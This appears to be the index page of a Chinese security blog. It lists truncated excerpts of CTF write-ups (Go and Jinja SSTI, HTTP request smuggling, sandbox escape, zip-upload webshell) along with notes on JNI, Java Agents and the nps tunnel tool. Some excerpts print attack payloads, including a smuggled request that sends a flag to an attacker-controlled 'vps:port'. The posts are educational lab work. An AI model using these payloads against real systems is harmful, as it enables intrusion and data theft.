[JAVA安全]JNI学习
什么是JNI?Java的JNI(Java Native Interface)是一个编程框架,也可以视为一种接口,允许Java代码与其他语言编写的应用程序或库(通常是C和C++)之间进行交互。JNI对于需要使用已经存在的库(尤其是系统级库)或者为了性能优化需要直接访问底层系统的应用程序来说非常重要。
JNI的主要特点和用途:
本地方法调用:通过JNI,Java程序可以调用在其他语言(如C或C++)中编写的函数。这对于使用特定平台的功能或调用一个已经用这些语言编写的库非常有用。
性能优化:对于某些需要高性能的操作,使用JNI调用本地代码可能比纯Java代码执行得更快。
硬件访问:JNI可以用来直接与操作系统级别的资源或硬件交互,例如,直接从Java代码中访问文件系统的特定功能或硬件设备。
已存在代码的利用:如果有大量的用C/C++编写的遗留代码,JNI提供了一种方式来重用这些代码,而不是完全用Java重新实现它们。
JNI使用的基本步骤
声明本地方法:在Java类中声明native方法。这些方法是在Java代码中声明但实际上在本地代码(如C或C++)中实现的。
生成头文件:使用 ...
[LineCTF2022]gotm复现
之前打铁三,看了别的师傅的wp之后发现go也有ssti,于是找了个go ssti题来学学
Dockerfile中flag是假的,所以直接审源码
有4个路由:
12345678910func main() { admin := Account{admin_id, admin_pw, true, secret_key} acc = append(acc, admin) http.HandleFunc("/", root_handler) http.HandleFunc("/auth", auth_handler) http.HandleFunc("/flag", flag_handler) http.HandleFunc("/regist", regist_handler) log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))}
先审最开始的’/‘
1234567891011121314f ...
[GDOUCTF 2023]web WriteUp
[GDOUCTF 2023]12345678910111213141516171819{%set a={}|select|string|list%}{%set ax={}|select|string|list%}{%set aa=dict(ssss=a)|join%}{%set aaa=dict(ssssss=a)|join%}{%set aaaa=dict(ss=a)|join%}{%set aaaaa=dict(sssss=a)|join%}{%set b=dict(pop=a)|join%} {%set c=a|attr(b)(aa|length*aaa|length)%} {%set cc=a|attr(b)(aaaa|length*aaaaa|length)%} {%set d=(c,c,dict(get=a,item=a)|join,c,c)|j ...
无题
SCTF WEB 复现ezcheck1n
当时把请求走私的题都看烂了,把所以走私前和走私后的host和/2023,2022也都试了,最后看wp发现是走私后的GET请求中的问号需要编码。。自己太逆天了
最后payload:
1GET /2023/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/2022.php%3furl=ip:port/?flag=1 HTTP/1.1
NU1L的Payload分析:
123456789GET /2023/&url=172.20.0.2:8080/2022.php%253furl=vps:port/ss HTTP/1.1Host: 115.239.215.75:8082Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112 ...
2023CTFSHOW愚人杯WEB部分WP
先总结一下,这次比赛算是本人比较突破自我的一次,因为以前我根本不会看难题,甚至中等题都是不怎么看的,但这次做出来了反序列化和溢出class,所以要相信自己
最遗憾的是class这题,第一次遇到web结合pwn的题,好不容易分析出rce但当时可能环境有问题一直无法读无法写但能curl,后面发现又可以读了?于是比赛结束后偷偷上个榜哈哈
热身
flag是”一个不能说的秘密”,让我想起了铁人三项那个flag_is_here,呵呵
MISC奇怪的压缩包伪加密,修改2出0900为0000
打开后是个图片,发现高被改了,再用winhex改一下高,显示出完整图片
试了各种编码和解密,发现都不行,最后用文件分离出了一个带密码的压缩包,用这串字符当做解压密码解压一下,发现不对,于是打开winhex,看到文件结尾有一串key,解码base64后打开图片再改一下高度获得flag
其他MISC看了一眼琴柳感没思路就看web了,毕竟咱是web手
WEBeasy_signin为数不多的题目难度和描述一样的题,进去是个贴吧滑稽(不过这表情疑似被很多吧禁了),对着图片审查元素,发现是base6 ...
[2023TPCTF]Walk Off The Earth复现
Walk Off The Earth这道题引入了一个概念,工作量证明(Proof of Pow),也就是第一个考点。
12345app.post('/visit', async (req, res) => {if ((pow && typeof pow == 'string') && (sha256(req.session.pow + pow).slice(0, difficulty) == '0'.repeat(difficulty)))............}
即计算一个类似方程的表达式:
1sha256(一些前缀字符 + ???) 的前difficult位都是0
所以difficult越大,计算难度也就越大,那么如果我们找到了一个符合条件的字符串,那么就代表你通过计算完成了一些工作,系统就会给你一些奖励。
之前没接触过区块链,所以做这道题时看到需要哈希碰撞就以为走不通,但是事实这种difficult下的计算对于现代计算机的算力来说小事一桩。
现成的Pow强度 ...
[JAVA安全]Java Agent初探
什么是”Java Agent” ?在Java中,”Agent”(代理)是指一个可以附加到Java虚拟机(JVM)上的程序,它可以监控、修改或扩展JVM执行的应用程序的行为。这个术语的使用源于它的工作方式:它像一个代理一样在JVM和应用程序之间进行工作,而不需要改变应用程序本身的代码。
java Agent主要有2种方式
静态Agent:在JVM启动时通过 -javaagent 参数加载。它必须定义一个 premain 方法,JVM会在应用程序的 main 方法执行之前调用这个方法。
动态Agent:在JVM已经运行的情况下附加。它必须定义一个 agentmain 方法,当Agent被动态附加到JVM时,此方法被调用。
静态Agent创建代理类1234567891011import java.lang.instrument.Instrumentation;public class MyAgent { public static void premain(String agentArgs, Instrumentation inst){ Syste ...
[DASCTF X CBCTF 2023|无畏者先行]WEB题目复现.md
yet another sandbox根据题目告诉我们代码将被运行在ShadowRealm中,那么ShadowRealm是啥呢,根据知乎@贺师俊在如何评价 ECMAScript 的 ShadowRealm API 提案?的回答中,我们可以了解到,ShadowRealm其实就是一个类似于VM的沙箱,只不过运行环境是浏览器。
第一,ShadowRealm允许一个JS运行时创建多个高度隔离的JS运行环境(realm),每个realm具有独立的全局对象和内建对象。
看似是安全的沙箱环境,但既然他遵守ECMAScript标准,那么就一定支持 import 和 export 关键字
ECMAScript 标准ECMAScript 是 JavaScript 语言的规范,它提供了这门语言的核心语法、类型、对象和方法的标准定义。浏览器和其他 JavaScript 运行环境需要遵循这个标准来实现 JavaScript 语言。
ES6 ModulesES6 Modules 引入了 import 和 export 关键字,允许开发者将代码拆分成多个文件(模块),并在这些文件之间进行清晰的依赖管理。这使得 ...
[工具学习]内网穿透工具nps初探
参考:Document
准备工作win64位服务端https://github.com/ehang-io/nps/releases/download/v0.26.10/windows_amd64_server.tar.gz
win64位客户端https://github.com/ehang-io/nps/releases/download/v0.26.10/windows_amd64_client.tar.gz
Linux amd64服务端https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
Linux amd64客户端https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_client.tar.gz
可以通过uname -m 或者 arch 命令来查看CPU,如果显示x86_64 那么就是64 位的 x86 架构(即 amd64),而 aarch64 表示系统是 64 位的 ARM 架 ...
[2023CISCN]国赛初赛WEB题目复现
最近几个月在学免杀,JAVA安全以及JS相关内容,导致CTF摆了很久,这次复现国赛题目就当做恢复训练了
Unzip文件上传界面,随便上传个文件,回显了源码
12345678910<?phperror_reporting(0);highlight_file(__FILE__);$finfo = finfo_open(FILEINFO_MIME_TYPE);if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);};//only this!
程序逻辑是进入到/tmp里,解压我们上传的文件。那么可以上传一个带有一句话木马的zip包,然后解压,但是要考虑到如何让其解压到我们可以访问的目录下。
尝试通过修 ...